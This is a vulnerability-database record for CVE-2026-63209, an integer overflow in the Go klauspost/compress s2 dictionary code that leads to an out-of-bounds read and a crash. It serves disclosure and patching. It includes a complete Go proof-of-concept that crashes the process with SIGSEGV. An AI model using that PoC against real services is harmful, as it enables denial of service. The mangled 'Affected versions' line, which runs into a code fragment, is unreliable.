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Response snapshot Oct 27, 2026, 00:46 UTC

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VulnerabilityCVE-2026-63209

Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress

A signed integer overflow vulnerability in `s2.NewDict()` allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding `MaxInt64`. When `Dict.

Published Updated

At a glance

Exploited
Not known
Severity
7.5 High (CVSS 3.1)
Chance of exploitation
0.5% in the next 30 days
Sources
1 source

What to do

GitHub lists first patched versions: github.com/klauspost/compress: 1.18.7. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-259r-337f-4rfw (opens a new tab)

What happened

# Signed Integer Overflow in s2.NewDict

## Summary

A signed integer overflow vulnerability in `s2.NewDict()` allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding `MaxInt64`. When `Dict.Encode()` is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via `unsafe.Pointer` arithmetic, crashing the process with SIGSEGV.

## Package

Continue reading

- **Name:** `github.com/klauspost/compress/s2` - **Ecosystem:** Go - **Affected versions:** len(dict) { return nil } ```

When `r` exceeds `MaxInt64` (9223372036854775807), `int(r)` overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.

When `Dict.Encode()` is called, the negative `repeat` value causes an integer overflow in `encodeBlockDictGo()`:

```go repeat := len(dict.dict) - dict.repeat // overflows: 62 - (-5758978476775341977) = huge positive candidate := len(dict.dict) - repeat + s // underflows to negative load32(dict.dict, candidate) // OOB via unsafe.Pointer ```

`load32` calls `le.Load32` which uses `unsafe.Pointer` arithmetic without bounds checking:

```go func Load32[I Indexer](b []byte, i I) uint32 { return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i)) } ```

This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.

## PoC

```go package main

import ( "encoding/binary" "fmt" "github.com/klauspost/compress/s2" )

func main() { var dictData []byte buf := make([]byte, binary.MaxVarintLen64) n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64 dictData = append(dictData, buf[:n]...) dictData = append(dictData, make([]byte, 16)...) // minimum dict size

dict := s2.NewDict(dictData) // dict is non-nil despite invalid repeat value (overflow bypassed validation)

src := make([]byte, 64) for i := range src { src[i] = byte(i) } dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer } ```

## Impact

- **Denial of Service:** The process crashes immediately with SIGSEGV

## Attack Vector

Any application that: 1. Accepts user-supplied S2 dictionary data via `s2.NewDict()` 2. Calls `Dict.Encode()` on any data ≥32 bytes

## Suggested Fix

Validate the uvarint value before converting to int:

```go if r > math.MaxInt64 { return nil } d.repeat = int(r) ```

Or use `uint` for the repeat field and validate against `uint(len(dict))`.

## References

- Source: `s2/dict.go` lines 59-61 (vulnerability), `s2/encode_all.go` line 947 (crash site) - Commit: 539243b (v1.18.6 + 4 commits)

## Credits Christopher Linke / https://github.com/celinke97/

Affected package ranges reported by GitHub: github.com/klauspost/compress: <= 1.18.6

Scores and how they were measured

CVSS base severity

7.5

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.5%

Scored Percentile 42.6%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-259r-337f-4rfw (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-259r-337f-4rfw, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-63209, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 20). Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress (CVE-2026-63209). https://kevwire.com/record/CVE-2026-63209

MLA

"Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress (CVE-2026-63209)." KEVWire, 20 Oct. 2026, kevwire.com/record/CVE-2026-63209.

Chicago

KEVWire. "Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress (CVE-2026-63209)." Last modified October 20, 2026. https://kevwire.com/record/CVE-2026-63209.

Evidence summary (plain text)

Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress (Oct 20, 2026).
A signed integer overflow vulnerability in `s2.NewDict()` allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding `MaxInt64`. When `Dict.Encode()` is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via `unsafe.Pointer` arithmetic, crashing the process with SIGSEGV.

- **Name:** `github.com/klauspost/compress/s2`
- **Ecosystem:** Go
- **Affected versions:** len(dict) {
 return nil
}
```
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-259r-337f-4rfw).
EPSS 0.5% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63209&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-259r-337f-4rfw: https://github.com/advisories/GHSA-259r-337f-4rfw
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63209&date=2026-10-26
Record ID: CVE-2026-63209.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 26, 2026, 19:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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